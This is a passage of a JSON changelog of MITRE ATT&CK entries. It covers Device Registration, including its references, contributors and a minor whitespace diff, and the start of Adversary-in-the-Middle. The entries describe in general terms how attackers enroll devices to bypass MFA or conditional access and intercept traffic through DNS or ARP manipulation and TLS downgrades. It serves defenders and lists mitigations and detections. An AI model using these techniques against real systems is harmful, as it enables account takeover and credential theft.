                            "url": "https://o365blog.com/post/bprt/"
                        },
                        {
                            "source_name": "AADInternals - Device Registration",
                            "description": "Dr. Nestori Syynimaa. (2021, March 3). Deep-dive to Azure AD device join. Retrieved March 9, 2022.",
                            "url": "https://o365blog.com/post/devices/"
                        },
                        {
                            "source_name": "DarkReading FireEye SolarWinds",
                            "description": "Kelly Jackson Higgins. (2021, January 7). FireEye's Mandia: 'Severity-Zero Alert' Led to Discovery of SolarWinds Attack. Retrieved April 18, 2022.",
                            "url": "https://www.darkreading.com/threat-intelligence/fireeye-s-mandia-severity-zero-alert-led-to-discovery-of-solarwinds-attack"
                        },
                        {
                            "source_name": "Microsoft - Device Registration",
                            "description": "Microsoft 365 Defender Threat Intelligence Team. (2022, January 26). Evolved phishing: Device registration trick adds to phishers\u2019 toolbox for victims without MFA. Retrieved March 4, 2022.",
                            "url": "https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa"
                        },
                        {
                            "source_name": "Microsoft DEV-0537",
                            "description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.",
                            "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Pawel Partyka, Microsoft 365 Defender",
                        "Mike Moran",
                        "Joe Gumke, U.S. Bank",
                        "Arad Inbar, Fidelis Security",
                        "Arun Seelagan, CISA"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows",
                        "Identity Provider"
                    ],
                    "x_mitre_version": "1.4",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:26:40.597000+00:00\", \"old_value\": \"2025-05-22 21:02:06.575000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\\n\\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user\\u2019s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account.(Citation: Mandiant APT29 Microsoft 365 2022)\\n\\nSimilarly, an adversary with existing access to a network may register a device or a virtual machine to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537)(Citation: Expel Atlas Lion 2025)\\n\\nDevices registered in Entra ID may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Entra ID tenant by registering a large number of devices.(Citation: AADInternals - BPRT)\", \"old_value\": \"Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\\n\\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user\\u2019s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)\\n\\nSimilarly, an adversary with existing access to a network may register a device or a virtual machine to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537)(Citation: Expel Atlas Lion 2025)\\n\\nDevices registered in Entra ID may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Entra ID tenant by registering a large number of devices.(Citation: AADInternals - BPRT)\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\\n \\n-MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user\\u2019s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)\\n+MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user\\u2019s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account.(Citation: Mandiant APT29 Microsoft 365 2022)\\n \\n Similarly, an adversary with existing access to a network may register a device or a virtual machine to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537)(Citation: Expel Atlas Lion 2025)\\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.4",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to135__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to135__0\"><a href=\"#difflib_chg_to135__top\">t</a></td><td class=\"diff_header\" id=\"from135_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;register&nbsp;a&nbsp;device&nbsp;to&nbsp;an&nbsp;adversary-controlled</td><td class=\"diff_next\"><a href=\"#difflib_chg_to135__top\">t</a></td><td class=\"diff_header\" id=\"to135_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;register&nbsp;a&nbsp;device&nbsp;to&nbsp;an&nbsp;adversary-controlled</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;account.&nbsp;Devices&nbsp;may&nbsp;be&nbsp;registered&nbsp;in&nbsp;a&nbsp;multifactor&nbsp;authent</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;account.&nbsp;Devices&nbsp;may&nbsp;be&nbsp;registered&nbsp;in&nbsp;a&nbsp;multifactor&nbsp;authent</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ication&nbsp;(MFA)&nbsp;system,&nbsp;which&nbsp;handles&nbsp;authentication&nbsp;to&nbsp;the&nbsp;ne</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ication&nbsp;(MFA)&nbsp;system,&nbsp;which&nbsp;handles&nbsp;authentication&nbsp;to&nbsp;the&nbsp;ne</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">twork,&nbsp;or&nbsp;in&nbsp;a&nbsp;device&nbsp;management&nbsp;system,&nbsp;which&nbsp;handles&nbsp;devic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">twork,&nbsp;or&nbsp;in&nbsp;a&nbsp;device&nbsp;management&nbsp;system,&nbsp;which&nbsp;handles&nbsp;devic</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;access&nbsp;and&nbsp;compliance.&nbsp;&nbsp;MFA&nbsp;systems,&nbsp;such&nbsp;as&nbsp;Duo&nbsp;or&nbsp;Okta,&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;access&nbsp;and&nbsp;compliance.&nbsp;&nbsp;MFA&nbsp;systems,&nbsp;such&nbsp;as&nbsp;Duo&nbsp;or&nbsp;Okta,&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">allow&nbsp;users&nbsp;to&nbsp;associate&nbsp;devices&nbsp;with&nbsp;their&nbsp;accounts&nbsp;in&nbsp;orde</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">allow&nbsp;users&nbsp;to&nbsp;associate&nbsp;devices&nbsp;with&nbsp;their&nbsp;accounts&nbsp;in&nbsp;orde</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;to&nbsp;complete&nbsp;MFA&nbsp;requirements.&nbsp;An&nbsp;adversary&nbsp;that&nbsp;compromise</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;to&nbsp;complete&nbsp;MFA&nbsp;requirements.&nbsp;An&nbsp;adversary&nbsp;that&nbsp;compromise</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;a&nbsp;user\u2019s&nbsp;credentials&nbsp;may&nbsp;enroll&nbsp;a&nbsp;new&nbsp;device&nbsp;in&nbsp;order&nbsp;to&nbsp;b</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;a&nbsp;user\u2019s&nbsp;credentials&nbsp;may&nbsp;enroll&nbsp;a&nbsp;new&nbsp;device&nbsp;in&nbsp;order&nbsp;to&nbsp;b</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ypass&nbsp;initial&nbsp;MFA&nbsp;requirements&nbsp;and&nbsp;gain&nbsp;persistent&nbsp;access&nbsp;to</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ypass&nbsp;initial&nbsp;MFA&nbsp;requirements&nbsp;and&nbsp;gain&nbsp;persistent&nbsp;access&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;a&nbsp;network.(Citation:&nbsp;CISA&nbsp;MFA&nbsp;PrintNightmare)(Citation:&nbsp;Dar</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;a&nbsp;network.(Citation:&nbsp;CISA&nbsp;MFA&nbsp;PrintNightmare)(Citation:&nbsp;Dar</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">kReading&nbsp;FireEye&nbsp;SolarWinds)&nbsp;In&nbsp;some&nbsp;cases,&nbsp;the&nbsp;MFA&nbsp;self-enr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">kReading&nbsp;FireEye&nbsp;SolarWinds)&nbsp;In&nbsp;some&nbsp;cases,&nbsp;the&nbsp;MFA&nbsp;self-enr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ollment&nbsp;process&nbsp;may&nbsp;require&nbsp;only&nbsp;a&nbsp;username&nbsp;and&nbsp;password&nbsp;to&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ollment&nbsp;process&nbsp;may&nbsp;require&nbsp;only&nbsp;a&nbsp;username&nbsp;and&nbsp;password&nbsp;to&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">enroll&nbsp;the&nbsp;account's&nbsp;first&nbsp;device&nbsp;or&nbsp;to&nbsp;enroll&nbsp;a&nbsp;device&nbsp;to&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">enroll&nbsp;the&nbsp;account's&nbsp;first&nbsp;device&nbsp;or&nbsp;to&nbsp;enroll&nbsp;a&nbsp;device&nbsp;to&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;inactive&nbsp;account.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Mandiant&nbsp;APT29&nbsp;Microsoft&nbsp;365&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;inactive&nbsp;account.(Citation:&nbsp;Mandiant&nbsp;APT29&nbsp;Microsoft&nbsp;365&nbsp;2</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">2022)&nbsp;&nbsp;Similarly,&nbsp;an&nbsp;adversary&nbsp;with&nbsp;existing&nbsp;access&nbsp;to&nbsp;a&nbsp;net</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">022)&nbsp;&nbsp;Similarly,&nbsp;an&nbsp;adversary&nbsp;with&nbsp;existing&nbsp;access&nbsp;to&nbsp;a&nbsp;netw</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">work&nbsp;may&nbsp;register&nbsp;a&nbsp;device&nbsp;or&nbsp;a&nbsp;virtual&nbsp;machine&nbsp;to&nbsp;Entra&nbsp;ID&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ork&nbsp;may&nbsp;register&nbsp;a&nbsp;device&nbsp;or&nbsp;a&nbsp;virtual&nbsp;machine&nbsp;to&nbsp;Entra&nbsp;ID&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">and/or&nbsp;its&nbsp;device&nbsp;management&nbsp;system,&nbsp;Microsoft&nbsp;Intune,&nbsp;in&nbsp;or</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nd/or&nbsp;its&nbsp;device&nbsp;management&nbsp;system,&nbsp;Microsoft&nbsp;Intune,&nbsp;in&nbsp;ord</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">der&nbsp;to&nbsp;access&nbsp;sensitive&nbsp;data&nbsp;or&nbsp;resources&nbsp;while&nbsp;bypassing&nbsp;co</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">er&nbsp;to&nbsp;access&nbsp;sensitive&nbsp;data&nbsp;or&nbsp;resources&nbsp;while&nbsp;bypassing&nbsp;con</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nditional&nbsp;access&nbsp;policies.(Citation:&nbsp;AADInternals&nbsp;-&nbsp;Device&nbsp;R</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ditional&nbsp;access&nbsp;policies.(Citation:&nbsp;AADInternals&nbsp;-&nbsp;Device&nbsp;Re</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">egistration)(Citation:&nbsp;AADInternals&nbsp;-&nbsp;Conditional&nbsp;Access&nbsp;Byp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gistration)(Citation:&nbsp;AADInternals&nbsp;-&nbsp;Conditional&nbsp;Access&nbsp;Bypa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ass)(Citation:&nbsp;Microsoft&nbsp;DEV-0537)(Citation:&nbsp;Expel&nbsp;Atlas&nbsp;Lio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ss)(Citation:&nbsp;Microsoft&nbsp;DEV-0537)(Citation:&nbsp;Expel&nbsp;Atlas&nbsp;Lion</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;2025)&nbsp;&nbsp;Devices&nbsp;registered&nbsp;in&nbsp;Entra&nbsp;ID&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;condu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;2025)&nbsp;&nbsp;Devices&nbsp;registered&nbsp;in&nbsp;Entra&nbsp;ID&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;conduc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ct&nbsp;[Internal&nbsp;Spearphishing](https://attack.mitre.org/techniq</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;[Internal&nbsp;Spearphishing](https://attack.mitre.org/techniqu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ues/T1534)&nbsp;campaigns&nbsp;via&nbsp;intra-organizational&nbsp;emails,&nbsp;which&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es/T1534)&nbsp;campaigns&nbsp;via&nbsp;intra-organizational&nbsp;emails,&nbsp;which&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">are&nbsp;less&nbsp;likely&nbsp;to&nbsp;be&nbsp;treated&nbsp;as&nbsp;suspicious&nbsp;by&nbsp;the&nbsp;email&nbsp;cli</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re&nbsp;less&nbsp;likely&nbsp;to&nbsp;be&nbsp;treated&nbsp;as&nbsp;suspicious&nbsp;by&nbsp;the&nbsp;email&nbsp;clie</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ent.(Citation:&nbsp;Microsoft&nbsp;-&nbsp;Device&nbsp;Registration)&nbsp;Additionally</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nt.(Citation:&nbsp;Microsoft&nbsp;-&nbsp;Device&nbsp;Registration)&nbsp;Additionally,</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;perform&nbsp;a&nbsp;[Service&nbsp;Exhaustion&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;an&nbsp;adversary&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;perform&nbsp;a&nbsp;[Service&nbsp;Exhaustion&nbsp;F</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Flood](https://attack.mitre.org/techniques/T1499/002)&nbsp;on&nbsp;an&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lood](https://attack.mitre.org/techniques/T1499/002)&nbsp;on&nbsp;an&nbsp;E</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Entra&nbsp;ID&nbsp;tenant&nbsp;by&nbsp;registering&nbsp;a&nbsp;large&nbsp;number&nbsp;of&nbsp;devices.(Ci</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ntra&nbsp;ID&nbsp;tenant&nbsp;by&nbsp;registering&nbsp;a&nbsp;large&nbsp;number&nbsp;of&nbsp;devices.(Cit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tation:&nbsp;AADInternals&nbsp;-&nbsp;BPRT)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation:&nbsp;AADInternals&nbsp;-&nbsp;BPRT)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1032: Multi-factor Authentication"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0036: Suspicious Device Registration via Entra ID or MFA Platform"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-11 19:07:12.114000+00:00",
                    "modified": "2026-11-03 21:41:27.362000+00:00",
                    "name": "Adversary-in-the-Middle",
                    "description": "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nFor example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens ([Steal Application Access Token](https://attack.mitre.org/techniques/T1528)) and session cookies ([Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)).(Citation: volexity_0day_sophos_FW)(Citation: Token tactics) [Downgrade Attack](https://attack.mitre.org/techniques/T1689)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)\n\nAdversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can set up a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "credential-access"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "collection"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1557",
                            "external_id": "T1557"
                        },
                        {
                            "source_name": "dns_changer_trojans",
                            "description": "Abendan, O. (2012, June 14). How DNS Changer Trojans Direct Users to Threats. Retrieved October 28, 2021.",
                            "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/125/how-dns-changer-trojans-direct-users-to-threats"
                        },
                        {
                            "source_name": "volexity_0day_sophos_FW",
                            "description": "Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.",
                            "url": "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"
                        },
                        {
                            "source_name": "taxonomy_downgrade_att_tls",
                            "description": "Alashwali, E. S., Rasmussen, K. (2019, January 26). What's in a Downgrade? A Taxonomy of Downgrade Attacks in the TLS Protocol and Application Protocols Using TLS. Retrieved December 7, 2021.",
                            "url": "https://arxiv.org/abs/1809.05681"
                        },
                        {
                            "source_name": "ad_blocker_with_miner",
                            "description": "Kuzmenko, A.. (2021, March 10). Ad blocker with miner included. Retrieved October 28, 2021.",
                            "url": "https://securelist.com/ad-blocker-with-miner-included/101105/"
                        },
                        {
                            "source_name": "Token tactics",
                            "description": "Microsoft Incident Response. (2022, November 16). Token tactics: How to prevent, detect, and respond to cloud token theft. Retrieved December 26, 2023.",
                            "url": "https://www.microsoft.com/en-us/security/blog/2022/11/16/token-tactics-how-to-prevent-detect-and-respond-to-cloud-token-theft/"
                        },
                        {
                            "source_name": "mitm_tls_downgrade_att",
                            "description": "praetorian Editorial Team. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved December 8, 2021.",
                            "url": "https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/"
                        },
                        {
                            "source_name": "Rapid7 MiTM Basics",
                            "description": "Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020.",
                            "url": "https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/"
                        },
                        {
                            "source_name": "tlseminar_downgrade_att",
                            "description": "Team Cinnamon. (2017, February 3). Downgrade Attacks. Retrieved December 9, 2021.",
                            "url": "https://tlseminar.github.io/downgrade-attacks/"
                        },
                        {
                            "source_name": "ttint_rat",
                            "description": "Tu, L. Ma, Y. Ye, G. (2020, October 1). Ttint: An IoT Remote Access Trojan spread through 2 0-day vulnerabilities. Retrieved October 28, 2021.",
                            "url": "https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Mayuresh Dani, Qualys",
                        "Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project",
                        "NEC"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Network Devices",
                        "Windows"
                    ],
                    "x_mitre_version": "2.5",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:41:27.362000+00:00\", \"old_value\": \"2026-05-12 15:12:00.620000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\\n\\nFor example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens ([Steal Application Access Token](https://attack.mitre.org/techniques/T1528)) and session cookies ([Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)).(Citation: volexity_0day_sophos_FW)(Citation: Token tactics) [Downgrade Attack](https://attack.mitre.org/techniques/T1689)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)\\n\\nAdversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can set up a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\", \"old_value\": \"Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\\n\\nFor example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting 